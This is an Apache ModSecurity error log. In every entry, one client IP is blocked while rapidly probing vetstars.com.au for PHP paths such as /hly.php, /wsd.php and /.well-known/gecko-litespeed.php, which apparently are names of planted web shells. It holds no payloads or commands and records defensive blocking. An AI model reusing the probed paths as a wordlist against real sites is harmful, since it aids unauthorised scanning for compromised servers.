[Sun Mar 29 18:47:38.741661 2026] [:error] [pid 23250:tid 23257] [client 51.103.28.129:17391] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDSpxrpj-dQjy1cvrnIQAAAkU"]
[Sun Mar 29 18:47:39.547436 2026] [:error] [pid 32255:tid 32307] [client 51.103.28.129:23075] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDS2nfn-AtRoMbquymPQAAAFA"]
[Sun Mar 29 18:47:40.109905 2026] [:error] [pid 32359:tid 32385] [client 51.103.28.129:27280] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDTAMb8G3UzfQP3WgYswAAANg"]
[Sun Mar 29 18:47:40.856129 2026] [:error] [pid 23284:tid 23301] [client 51.103.28.129:42981] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDTIzBujdPHsq7wyQrWgAAAo8"]
[Sun Mar 29 18:47:41.586045 2026] [:error] [pid 32255:tid 32309] [client 51.103.28.129:40459] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDTWnfn-AtRoMbquymQwAAAFI"]
[Sun Mar 29 18:47:42.548865 2026] [:error] [pid 23284:tid 23303] [client 51.103.28.129:23101] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDTozBujdPHsq7wyQrXQAAApE"]
[Sun Mar 29 18:47:43.535837 2026] [:error] [pid 23284:tid 23299] [client 51.103.28.129:53671] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "ackDT4zBujdPHsq7wyQrYAAAAo0"]
[Sun Mar 29 18:47:44.559652 2026] [:error] [pid 23137:tid 23147] [client 51.103.28.129:20400] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDUBaWQa7LdZ_qGFbhmAAAAYg"]
[Sun Mar 29 18:47:45.263106 2026] [:error] [pid 32257:tid 32321] [client 51.103.28.129:3817] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDUSE3TArOFrUtgWrRMwAAAIM"]
[Sun Mar 29 18:47:46.716748 2026] [:error] [pid 23167:tid 23172] [client 51.103.28.129:20802] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDUhIAHJCFaHff3_eWAQAAAcI"]
[Sun Mar 29 18:47:47.669322 2026] [:error] [pid 32257:tid 32332] [client 51.103.28.129:3085] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDUyE3TArOFrUtgWrROgAAAI4"]
[Sun Mar 29 18:47:49.355652 2026] [:error] [pid 23250:tid 23260] [client 51.103.28.129:48573] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDVZxrpj-dQjy1cvrnJQAAAkg"]
[Sun Mar 29 18:47:50.338030 2026] [:error] [pid 23284:tid 23310] [client 51.103.28.129:20821] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDVozBujdPHsq7wyQrbgAAApg"]
[Sun Mar 29 18:47:51.800869 2026] [:error] [pid 23284:tid 23287] [client 51.103.28.129:15837] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDV4zBujdPHsq7wyQreAAAAoE"]
[Sun Mar 29 18:47:52.631920 2026] [:error] [pid 32257:tid 32330] [client 51.103.28.129:20815] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "ackDWCE3TArOFrUtgWrRSQAAAIw"]
[Sun Mar 29 18:47:53.530698 2026] [:error] [pid 32257:tid 32334] [client 51.103.28.129:18853] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hly.php"] [unique_id "ackDWSE3TArOFrUtgWrRTQAAAJA"]
[Sun Mar 29 18:47:54.384728 2026] [:error] [pid 23167:tid 23170] [client 51.103.28.129:24441] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hly.php"] [unique_id "ackDWhIAHJCFaHff3_eWBAAAAcA"]
[Sun Mar 29 18:47:55.146590 2026] [:error] [pid 32255:tid 32292] [client 51.103.28.129:21195] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hly.php"] [unique_id "ackDW2nfn-AtRoMbquymTwAAAEE"]
[Sun Mar 29 18:47:56.235478 2026] [:error] [pid 32257:tid 32333] [client 51.103.28.129:24434] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hly.php"] [unique_id "ackDXCE3TArOFrUtgWrRVwAAAI8"]
[Sun Mar 29 18:47:56.898288 2026] [:error] [pid 32255:tid 32305] [client 51.103.28.129:31755] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "ackDXGnfn-AtRoMbquymVAAAAE4"]
[Sun Mar 29 18:47:57.828248 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:4016] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "ackDXSE3TArOFrUtgWrRWwAAAIA"]
[Sun Mar 29 18:47:59.106104 2026] [:error] [pid 23168:tid 23217] [client 51.103.28.129:3811] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "ackDX2P8p0yRL8ot_29mUAAAAhQ"]
[Sun Mar 29 18:47:59.886689 2026] [:error] [pid 32255:tid 32301] [client 51.103.28.129:40002] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "ackDX2nfn-AtRoMbquymWQAAAEo"]
[Sun Mar 29 18:48:01.183482 2026] [:error] [pid 32257:tid 32322] [client 51.103.28.129:42464] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "ackDYSE3TArOFrUtgWrRXwAAAIQ"]
[Sun Mar 29 18:48:01.960262 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:18139] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "ackDYSE3TArOFrUtgWrRYQAAAIA"]
[Sun Mar 29 18:48:02.727893 2026] [:error] [pid 8818:tid 8846] [client 51.103.28.129:52142] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "ackDYiCDvotZNSF0FBq8IwAAAVg"]
[Sun Mar 29 18:48:03.883134 2026] [:error] [pid 32257:tid 32327] [client 51.103.28.129:42468] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "ackDYyE3TArOFrUtgWrRZwAAAIk"]
[Sun Mar 29 18:48:04.700521 2026] [:error] [pid 23168:tid 23221] [client 51.103.28.129:52136] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tajj.php"] [unique_id "ackDZGP8p0yRL8ot_29mVwAAAhg"]
[Sun Mar 29 18:48:05.503288 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:50554] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tajj.php"] [unique_id "ackDZYzBujdPHsq7wyQriwAAAoI"]
[Sun Mar 29 18:48:06.285128 2026] [:error] [pid 23284:tid 23286] [client 51.103.28.129:21991] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tajj.php"] [unique_id "ackDZozBujdPHsq7wyQrjwAAAoA"]
[Sun Mar 29 18:48:07.004846 2026] [:error] [pid 23168:tid 23217] [client 51.103.28.129:33781] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tajj.php"] [unique_id "ackDZ2P8p0yRL8ot_29mXgAAAhQ"]
[Sun Mar 29 18:48:07.675313 2026] [:error] [pid 23168:tid 23208] [client 51.103.28.129:18120] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "ackDZ2P8p0yRL8ot_29mYAAAAgs"]
[Sun Mar 29 18:48:08.423114 2026] [:error] [pid 23168:tid 23216] [client 51.103.28.129:50523] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "ackDaGP8p0yRL8ot_29mZAAAAhM"]
[Sun Mar 29 18:48:09.171515 2026] [:error] [pid 32257:tid 32321] [client 51.103.28.129:47489] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "ackDaSE3TArOFrUtgWrRcwAAAIM"]
[Sun Mar 29 18:48:09.801301 2026] [:error] [pid 8818:tid 8835] [client 51.103.28.129:42476] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file30.php"] [unique_id "ackDaSCDvotZNSF0FBq8LgAAAU0"]
[Sun Mar 29 18:48:10.522650 2026] [:error] [pid 23284:tid 23301] [client 51.103.28.129:3794] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "ackDaozBujdPHsq7wyQrlwAAAo8"]
[Sun Mar 29 18:48:11.239444 2026] [:error] [pid 23284:tid 23303] [client 51.103.28.129:33763] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "ackDa4zBujdPHsq7wyQrmQAAApE"]
[Sun Mar 29 18:48:11.823677 2026] [:error] [pid 23284:tid 23308] [client 51.103.28.129:29692] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "ackDa4zBujdPHsq7wyQrnQAAApY"]
[Sun Mar 29 18:48:12.450685 2026] [:error] [pid 32257:tid 32325] [client 51.103.28.129:18160] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "ackDbCE3TArOFrUtgWrRdwAAAIc"]
[Sun Mar 29 18:48:13.637495 2026] [:error] [pid 23284:tid 23287] [client 51.103.28.129:52123] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ackDbYzBujdPHsq7wyQrngAAAoE"]
[Sun Mar 29 18:48:14.394155 2026] [:error] [pid 23284:tid 23298] [client 51.103.28.129:21135] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ackDbozBujdPHsq7wyQrnwAAAow"]
[Sun Mar 29 18:48:15.138639 2026] [:error] [pid 32255:tid 32309] [client 51.103.28.129:16619] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ackDb2nfn-AtRoMbquymawAAAFI"]
[Sun Mar 29 18:48:15.940317 2026] [:error] [pid 23168:tid 23198] [client 51.103.28.129:50548] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "ackDb2P8p0yRL8ot_29mdAAAAgE"]
[Sun Mar 29 18:48:17.137083 2026] [:error] [pid 23168:tid 23200] [client 51.103.28.129:21241] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-2.php"] [unique_id "ackDcWP8p0yRL8ot_29mfAAAAgM"]
[Sun Mar 29 18:48:17.872890 2026] [:error] [pid 23284:tid 23307] [client 51.103.28.129:3453] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-2.php"] [unique_id "ackDcYzBujdPHsq7wyQrpgAAApU"]
[Sun Mar 29 18:48:18.764159 2026] [:error] [pid 23284:tid 23292] [client 51.103.28.129:30095] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-2.php"] [unique_id "ackDcozBujdPHsq7wyQrqQAAAoY"]
[Sun Mar 29 18:48:19.475489 2026] [:error] [pid 32257:tid 32333] [client 51.103.28.129:36210] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-2.php"] [unique_id "ackDcyE3TArOFrUtgWrRhgAAAI8"]
[Sun Mar 29 18:48:20.886177 2026] [:error] [pid 32257:tid 32332] [client 51.103.28.129:18136] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "ackDdCE3TArOFrUtgWrRkAAAAI4"]
[Sun Mar 29 18:48:22.130124 2026] [:error] [pid 23284:tid 23293] [client 51.103.28.129:31299] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "ackDdozBujdPHsq7wyQrsAAAAoc"]
[Sun Mar 29 18:48:22.907478 2026] [:error] [pid 32257:tid 32327] [client 51.103.28.129:62275] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "ackDdiE3TArOFrUtgWrRnAAAAIk"]
[Sun Mar 29 18:48:24.070929 2026] [:error] [pid 23284:tid 23304] [client 51.103.28.129:21207] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "ackDeIzBujdPHsq7wyQrtQAAApI"]
[Sun Mar 29 18:48:24.923771 2026] [:error] [pid 32257:tid 32325] [client 51.103.28.129:57978] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "ackDeCE3TArOFrUtgWrRpQAAAIc"]
[Sun Mar 29 18:48:25.783588 2026] [:error] [pid 32257:tid 32318] [client 51.103.28.129:3405] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "ackDeSE3TArOFrUtgWrRrQAAAIA"]
[Sun Mar 29 18:48:26.471297 2026] [:error] [pid 23284:tid 23293] [client 51.103.28.129:16607] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "ackDeozBujdPHsq7wyQruQAAAoc"]
[Sun Mar 29 18:48:27.699585 2026] [:error] [pid 32255:tid 32314] [client 51.103.28.129:17020] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "ackDe2nfn-AtRoMbquymcgAAAFc"]
[Sun Mar 29 18:48:28.482184 2026] [:error] [pid 32257:tid 32342] [client 51.103.28.129:30143] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goods.php"] [unique_id "ackDfCE3TArOFrUtgWrRtwAAAJg"]
